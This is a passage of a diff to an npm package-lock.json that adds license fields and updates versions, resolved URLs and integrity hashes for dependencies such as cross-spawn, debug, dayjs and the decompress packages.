       "integrity": "sha512-5WsuKUfxW7suLblAbFnxAcrvf6r+0b7GvNaWUwUIk0bXMnENP/PEieGKVUQrjPqwPT4o3EPAASBXiY6iHooLOQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "conventional-commits-filter": "^2.0.7",
         "dateformat": "^3.0.0",
@@ -4692,6 +4980,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
@@ -4701,6 +4990,7 @@
       "resolved": "https://registry.npmjs.org/conventional-commits-filter/-/conventional-commits-filter-2.0.7.tgz",
       "integrity": "sha512-ASS9SamOP4TbCClsRHxIHXRfcGCnIoQqkvAzCSbZzTFLfcTqJVugB0agRgsEELsqaeWgsXv513eS116wnlSSPA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "lodash.ismatch": "^4.4.0",
         "modify-values": "^1.0.0"
@@ -4714,6 +5004,7 @@
       "resolved": "https://registry.npmjs.org/conventional-commits-parser/-/conventional-commits-parser-3.2.4.tgz",
       "integrity": "sha512-nK7sAtfi+QXbxHCYfhpZsfRtaitZLIA6889kFIouLvz6repszQDgxBu7wf2WbU+Dco7sAnNCJYERCwt54WPC2Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-text-path": "^1.0.1",
         "JSONStream": "^1.0.4",
@@ -4734,6 +5025,7 @@
       "resolved": "https://registry.npmjs.org/conventional-recommended-bump/-/conventional-recommended-bump-6.1.0.tgz",
       "integrity": "sha512-uiApbSiNGM/kkdL9GTOLAqC4hbptObFo4wW2QRyHsKciGAfQuLU1ShZ1BIVI/+K2BE/W1AWYQMCXAsv4dyKPaw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "concat-stream": "^2.0.0",
         "conventional-changelog-preset-loader": "^2.3.4",
@@ -4755,23 +5047,27 @@
       "version": "1.9.0",
       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
       "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/cookiejar": {
       "version": "2.1.4",
       "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.4.tgz",
-      "integrity": "sha512-LDx6oHrK+PhzLKJU9j5S7/Y3jM/mUHvD/DeI1WQmJn652iPC5Y4TBzC9l+5OMOXlyTTA+SmVUPm0HQUwpD5Jqw=="
+      "integrity": "sha512-LDx6oHrK+PhzLKJU9j5S7/Y3jM/mUHvD/DeI1WQmJn652iPC5Y4TBzC9l+5OMOXlyTTA+SmVUPm0HQUwpD5Jqw==",
+      "license": "MIT"
     },
     "node_modules/core-util-is": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
-      "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="
+      "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==",
+      "license": "MIT"
     },
     "node_modules/cos-nodejs-sdk-v5": {
-      "version": "2.12.5",
-      "resolved": "https://registry.npmjs.org/cos-nodejs-sdk-v5/-/cos-nodejs-sdk-v5-2.12.5.tgz",
-      "integrity": "sha512-LziLL0P4CjuaFUN5aingfrZySFaonoN5A5YWjATT+5UXBFbJI6Lz2MPXGOWzR+UBgqZqkQ7aNnd4Fb4krRE/+A==",
+      "version": "2.15.1",
+      "resolved": "https://registry.npmjs.org/cos-nodejs-sdk-v5/-/cos-nodejs-sdk-v5-2.15.1.tgz",
+      "integrity": "sha512-eBfqnuffe1qlIHbCep8eQgXa6Fq44cDjgCv6A2pyB/DAnKxY15DE6vU92Zc55v2t60EGcDapaTQY6DWVauGMRQ==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "conf": "^9.0.0",
         "fast-xml-parser": "4.2.5",
@@ -4782,11 +5078,35 @@
         "node": ">= 6"
       }
     },
+    "node_modules/cos-nodejs-sdk-v5/node_modules/fast-xml-parser": {
+      "version": "4.2.5",
+      "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.2.5.tgz",
+      "integrity": "sha512-B9/wizE4WngqQftFPmdaMYlXoJlJOYxGQOanC77fq9k8+Z0v5dDSVh+3glErdIROP//s/jgb7ZuxKfB8nVyo0g==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "paypal",
+          "url": "https://paypal.me/naturalintelligence"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/NaturalIntelligence"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "strnum": "^1.0.5"
+      },
+      "bin": {
+        "fxparser": "src/cli/cli.js"
+      }
+    },
     "node_modules/cosmiconfig": {
       "version": "7.1.0",
       "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.1.0.tgz",
       "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/parse-json": "^4.0.0",
         "import-fresh": "^3.2.1",
@@ -4802,6 +5122,7 @@
       "version": "1.2.2",
       "resolved": "https://registry.npmjs.org/crc-32/-/crc-32-1.2.2.tgz",
       "integrity": "sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==",
+      "license": "Apache-2.0",
       "bin": {
         "crc32": "bin/crc32.njs"
       },
@@ -4813,6 +5134,7 @@
       "version": "4.0.3",
       "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-4.0.3.tgz",
       "integrity": "sha512-NT7w2JVU7DFroFdYkeq8cywxrgjPHWkdX1wjpRQXPX5Asews3tA+Ght6lddQO5Mkumffp3X7GEqku3epj2toIw==",
+      "license": "MIT",
       "dependencies": {
         "crc-32": "^1.2.0",
         "readable-stream": "^3.4.0"
@@ -4822,9 +5144,10 @@
       }
     },
     "node_modules/cross-spawn": {
-      "version": "6.0.5",
-      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
-      "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
+      "version": "6.0.6",
+      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.6.tgz",
+      "integrity": "sha512-VqCUuhcd1iB+dsv8gxPttb5iZh/D0iubSP21g36KXdEuf6I5JiioesUVjpCdHV9MZRUfVFlvwtIUyPfxo5trtw==",
+      "license": "MIT",
       "dependencies": {
         "nice-try": "^1.0.4",
         "path-key": "^2.0.1",
@@ -4840,29 +5163,30 @@
       "version": "5.7.2",
       "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz",
       "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==",
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver"
       }
     },
     "node_modules/d": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/d/-/d-1.0.1.tgz",
-      "integrity": "sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==",
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/d/-/d-1.0.2.tgz",
+      "integrity": "sha512-MOqHvMWF9/9MX6nza0KgvFH4HpMU0EF5uUDXqX/BtxtU8NfB0QzRtJ8Oe/6SuS4kbhyzVJwjd97EA4PKrzJ8bw==",
+      "license": "ISC",
       "dependencies": {
-        "es5-ext": "^0.10.50",
-        "type": "^1.0.1"
+        "es5-ext": "^0.10.64",
+        "type": "^2.7.2"
+      },
+      "engines": {
+        "node": ">=0.12"
       }
     },
-    "node_modules/d/node_modules/type": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/type/-/type-1.2.0.tgz",
-      "integrity": "sha512-+5nt5AAniqsCnu2cEQQdpzCAh33kVx8n0VoFidKpB1dVVLAN/F+bgVOqOJqOnEnrhp222clB5p3vUlD+1QAnfg=="
-    },
     "node_modules/dargs": {
       "version": "7.0.0",
       "resolved": "https://registry.npmjs.org/dargs/-/dargs-7.0.0.tgz",
       "integrity": "sha512-2iy1EkLdlBzQGvbweYRFxmFath8+K7+AKB0TlhHWkNuH+TmovaMH/Wp7V7R4u7f4SnX3OgLsU9t1NI9ioDnUpg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -4872,6 +5196,7 @@
       "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
       "integrity": "sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "assert-plus": "^1.0.0"
       },
@@ -4879,25 +5204,79 @@
         "node": ">=0.10"
       }
     },
+    "node_modules/data-view-buffer": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz",
+      "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.3",
+        "es-errors": "^1.3.0",
+        "is-data-view": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/data-view-byte-length": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz",
+      "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.3",
+        "es-errors": "^1.3.0",
+        "is-data-view": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/inspect-js"
+      }
+    },
+    "node_modules/data-view-byte-offset": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz",
+      "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "is-data-view": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/dateformat": {
       "version": "3.0.3",
       "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-3.0.3.tgz",
       "integrity": "sha512-jyCETtSl3VMZMWeRo7iY1FL19ges1t55hMo5yaam4Jrsm5EPL89UQkoQRyiI+Yf4k8r2ZpdngkV8hr1lIdjb3Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": "*"
       }
     },
     "node_modules/dayjs": {
-      "version": "1.11.10",
-      "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.10.tgz",
-      "integrity": "sha512-vjAczensTgRcqDERK0SR2XMwsF/tSvnvlv6VcF2GIhg6Sx4yOIt/irsr1RDJsKiIyBzJDpCoXiWWq28MqH2cnQ=="
+      "version": "1.11.13",
+      "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.13.tgz",
+      "integrity": "sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg==",
+      "license": "MIT"
     },
     "node_modules/debounce-fn": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/debounce-fn/-/debounce-fn-4.0.0.tgz",
       "integrity": "sha512-8pYCQiL9Xdcg0UPSD3d+0KMlOjp+KGU5EPwYddgzQ7DATsg4fuUDjQtsYLmWjnk2obnNHgV3vE2Y4jejSOJVBQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "mimic-fn": "^3.0.0"
       },
@@ -4909,11 +5288,12 @@
       }
     },
     "node_modules/debug": {
-      "version": "4.3.4",
-      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
-      "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+      "version": "4.4.1",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz",
+      "integrity": "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==",
+      "license": "MIT",
       "dependencies": {
-        "ms": "2.1.2"
+        "ms": "^2.1.3"
       },
       "engines": {
         "node": ">=6.0"
@@ -4924,16 +5304,12 @@
         }
       }
     },
-    "node_modules/debug/node_modules/ms": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
-      "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
-    },
     "node_modules/decamelize": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz",
       "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -4943,6 +5319,7 @@
       "resolved": "https://registry.npmjs.org/decamelize-keys/-/decamelize-keys-1.1.1.tgz",
       "integrity": "sha512-WiPxgEirIV0/eIOMcnFBA3/IJZAZqKnwAwWyvvdi4lsr1WCN22nhdf/3db3DoZcUjTV2SqfzIwNyp6y2xs3nmg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "decamelize": "^1.1.0",
         "map-obj": "^1.0.0"
@@ -4959,6 +5336,7 @@
       "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz",
       "integrity": "sha512-7N/q3lyZ+LVCp7PzuxrJr4KMbBE2hW7BT7YNia330OFxIf4d3r5zVpicP2650l7CPN6RM9zOJRl3NGpqSiw3Eg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -4967,6 +5345,7 @@
       "version": "4.2.1",
       "resolved": "https://registry.npmjs.org/decompress/-/decompress-4.2.1.tgz",
       "integrity": "sha512-e48kc2IjU+2Zw8cTb6VZcJQ3lgVbS4uuB1TfCHbiZIP/haNXm+SVyhu+87jts5/3ROpd82GSVCoNs/z8l4ZOaQ==",
+      "license": "MIT",
       "dependencies": {
         "decompress-tar": "^4.0.0",
         "decompress-tarbz2": "^4.0.0",
@@ -4985,6 +5364,7 @@
       "version": "6.0.0",
       "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz",
       "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==",
+      "license": "MIT",
       "dependencies": {
         "mimic-response": "^3.1.0"
       },
@@ -4999,6 +5379,7 @@
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz",
       "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -5010,6 +5391,7 @@
       "version": "4.1.1",
       "resolved": "https://registry.npmjs.org/decompress-tar/-/decompress-tar-4.1.1.tgz",
       "integrity": "sha512-JdJMaCrGpB5fESVyxwpCx4Jdj2AagLmv3y58Qy4GE6HMVjWz1FeVQk1Ct4Kye7PftcdOo/7U7UKzYBJgqnGeUQ==",
+      "license": "MIT",
       "dependencies": {
         "file-type": "^5.2.0",
         "is-stream": "^1.1.0",
@@ -5023,6 +5405,7 @@
       "version": "1.2.3",
       "resolved": "https://registry.npmjs.org/bl/-/bl-1.2.3.tgz",
       "integrity": "sha512-pvcNpa0UU69UT341rO6AYy4FVAIkUHuZXRIWbq+zHnsVcRzDDjIAhGuuYoi0d//cwIwtt4pkpKycWEfjdV+vww==",
+      "license": "MIT",
       "dependencies": {
         "readable-stream": "^2.3.5",
         "safe-buffer": "^5.1.1"
@@ -5032,6 +5415,7 @@
       "version": "5.2.0",
       "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz",
       "integrity": "sha512-Iq1nJ6D2+yIO4c8HHg4fyVb8mAJieo1Oloy1mLLaB2PvezNedhBVm+QU7g0qM42aiMbRXTxKKwGD17rjKNJYVQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -5040,6 +5424,7 @@
       "version": "2.3.8",
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
       "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
+      "license": "MIT",
       "dependencies": {
         "core-util-is": "~1.0.0",
         "inherits": "~2.0.3",
@@ -5053,12 +5438,14 @@
     "node_modules/decompress-tar/node_modules/safe-buffer": {
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
-      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
+      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+      "license": "MIT"
     },
     "node_modules/decompress-tar/node_modules/string_decoder": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
       "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "~5.1.0"
       }
@@ -5067,6 +5454,7 @@
       "version": "1.6.2",
       "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-1.6.2.tgz",
       "integrity": "sha512-rzS0heiNf8Xn7/mpdSVVSMAWAoy9bfb1WOTYC78Z0UQKeKa/CWS8FOq0lKGNa8DWKAn9gxjCvMLYc5PGXYlK2A==",
+      "license": "MIT",
       "dependencies": {
         "bl": "^1.0.0",
         "buffer-alloc": "^1.2.0",
@@ -5084,6 +5472,7 @@
       "version": "4.1.1",
       "resolved": "https://registry.npmjs.org/decompress-tarbz2/-/decompress-tarbz2-4.1.1.tgz",
       "integrity": "sha512-s88xLzf1r81ICXLAVQVzaN6ZmX4A6U4z2nMbOwobxkLoIIfjVMBg7TeguTUXkKeXni795B6y5rnvDw7rxhAq9A==",
+      "license": "MIT",
       "dependencies": {
         "decompress-tar": "^4.1.0",
         "file-type": "^6.1.0",
@@ -5099,6 +5488,7 @@
       "version": "6.2.0",
       "resolved": "https://registry.npmjs.org/file-type/-/file-type-6.2.0.tgz",
       "integrity": "sha512-YPcTBDV+2Tm0VqjybVd32MHdlEGAtuxS3VAYsumFokDSMG+ROT5wawGlnHDoz7bfMcMDt9hxuXvXwoKUx2fkOg==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -5107,6 +5497,7 @@
       "version": "4.1.1",
       "resolved": "https://registry.npmjs.org/decompress-targz/-/decompress-targz-4.1.1.tgz",
       "integrity": "sha512-4z81Znfr6chWnRDNfFNqLwPvm4db3WuZkqV+UgXQzSngG3CEKdBkw5jrv3axjjL96glyiiKjsxJG3X6WBZwX3w==",
+      "license": "MIT",
       "dependencies": {
         "decompress-tar": "^4.1.1",
         "file-type": "^5.2.0",
@@ -5120,6 +5511,7 @@
       "version": "5.2.0",
       "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz",
       "integrity": "sha512-Iq1nJ6D2+yIO4c8HHg4fyVb8mAJieo1Oloy1mLLaB2PvezNedhBVm+QU7g0qM42aiMbRXTxKKwGD17rjKNJYVQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -5128,6 +5520,7 @@
       "version": "4.0.1",
       "resolved": "https://registry.npmjs.org/decompress-unzip/-/decompress-unzip-4.0.1.tgz",
       "integrity": "sha512-1fqeluvxgnn86MOh66u8FjbtJpAFv5wgCT9Iw8rcBqQcCo5tO8eiJw7NNTrvt9n4CRBVq7CstiS922oPgyGLrw==",
+      "license": "MIT",
       "dependencies": {
         "file-type": "^3.8.0",
         "get-stream": "^2.2.0",
@@ -5142,6 +5535,7 @@
       "version": "3.9.0",
       "resolved": "https://registry.npmjs.org/file-type/-/file-type-3.9.0.tgz",
       "integrity": "sha512-RLoqTXE8/vPmMuTI88DAzhMYC99I8BWv7zYP4A1puo5HIjEJ5EX48ighy4ZyKMG9EDXxBgW6e++cn7d1xuFghA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -5150,6 +5544,7 @@
       "version": "2.3.1",
       "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-2.3.1.tgz",
       "integrity": "sha512-AUGhbbemXxrZJRD5cDvKtQxLuYaIbNtDTK8YqupCI393Q2KSTreEsLUN3ZxAWFGiKTzL6nKuzfcIvieflUX9qA==",
+      "license": "MIT",
       "dependencies": {
         "object-assign": "^4.0.1",
         "pinkie-promise": "^2.0.0"
@@ -5162,6 +5557,7 @@
       "version": "1.3.0",
       "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz",
       "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==",
+      "license": "MIT",
       "dependencies": {
         "pify": "^3.0.0"
       },
@@ -5173,15 +5569,17 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
       "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
     },
     "node_modules/deep-eql": {
-      "version": "4.1.3",
-      "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-4.1.3.tgz",
-      "integrity": "sha512-WaEtAOpRA1MQ0eohqZjpGD8zdI0Ovsm8mmFhaDN8dvDZzyoUMcYDnf5Y6iu7HTXxf8JDS23qWa4a+hKCDyOPzw==",
+      "version": "4.1.4",
+      "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-4.1.4.tgz",
+      "integrity": "sha512-SUwdGfqdKOwxCPeVYjwSyRpJ7Z+fhpwIAtmCUdZIWZ/YP5R9WAsyuSgpLVDi9bjWoN2LXHNss/dk3urXtdQxGg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "type-detect": "^4.0.0"
       },
@@ -5194,6 +5592,7 @@
       "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
       "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4.0.0"
       }
@@ -5202,13 +5601,15 @@
       "version": "0.1.4",
       "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
       "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/default-require-extensions": {
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/default-require-extensions/-/default-require-extensions-3.0.1.tgz",
       "integrity": "sha512-eXTJmRbm2TIt9MgWTsOH1wEuhew6XGZcMeGKCtLedIg/NCsg1iBePXkceTdK4Fii7pzmN9tGsZhKzZ4h7O/fxw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "strip-bom": "^4.0.0"
       },
@@ -5223,6 +5624,7 @@
       "version": "1.0.4",
       "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.4.tgz",
       "integrity": "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==",
+      "license": "MIT",
       "dependencies": {
         "clone": "^1.0.2"
       },
@@ -5234,6 +5636,7 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz",
       "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       }
@@ -5242,6 +5645,7 @@
       "version": "0.7.11",
       "resolved": "https://registry.npmjs.org/deferred/-/deferred-0.7.11.tgz",
       "integrity": "sha512-8eluCl/Blx4YOGwMapBvXRKxHXhA8ejDXYzEaK8+/gtcm8hRMhSLmXSqDmNUKNc/C8HNSmuyyp/hflhqDAvK2A==",
+      "license": "ISC",
       "dependencies": {
         "d": "^1.0.1",
         "es5-ext": "^0.10.50",
@@ -5251,22 +5655,27 @@
       }
     },
     "node_modules/define-data-property": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.1.tgz",
-      "integrity": "sha512-E7uGkTzkk1d0ByLeSc6ZsFS79Axg+m1P/VsgYsxHgiuc3tFSj+MjMIwe90FC4lOAZzNBdY7kkO2P2wKdsQ1vgQ==",
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
+      "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
+      "license": "MIT",
       "dependencies": {
-        "get-intrinsic": "^1.2.1",
-        "gopd": "^1.0.1",
-        "has-property-descriptors": "^1.0.0"
+        "es-define-property": "^1.0.0",
+        "es-errors": "^1.3.0",
+        "gopd": "^1.0.1"
       },
       "engines": {
         "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/define-lazy-prop": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz",
       "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -5275,7 +5684,7 @@
       "version": "1.2.1",
       "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz",
       "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==",
-      "dev": true,
+      "license": "MIT",
       "dependencies": {
         "define-data-property": "^1.0.1",
         "has-property-descriptors": "^1.0.0",
@@ -5292,6 +5701,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
       "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.4.0"
       }
@@ -5300,22 +5710,25 @@
       "version": "2.3.1",
       "resolved": "https://registry.npmjs.org/deprecation/-/deprecation-2.3.1.tgz",
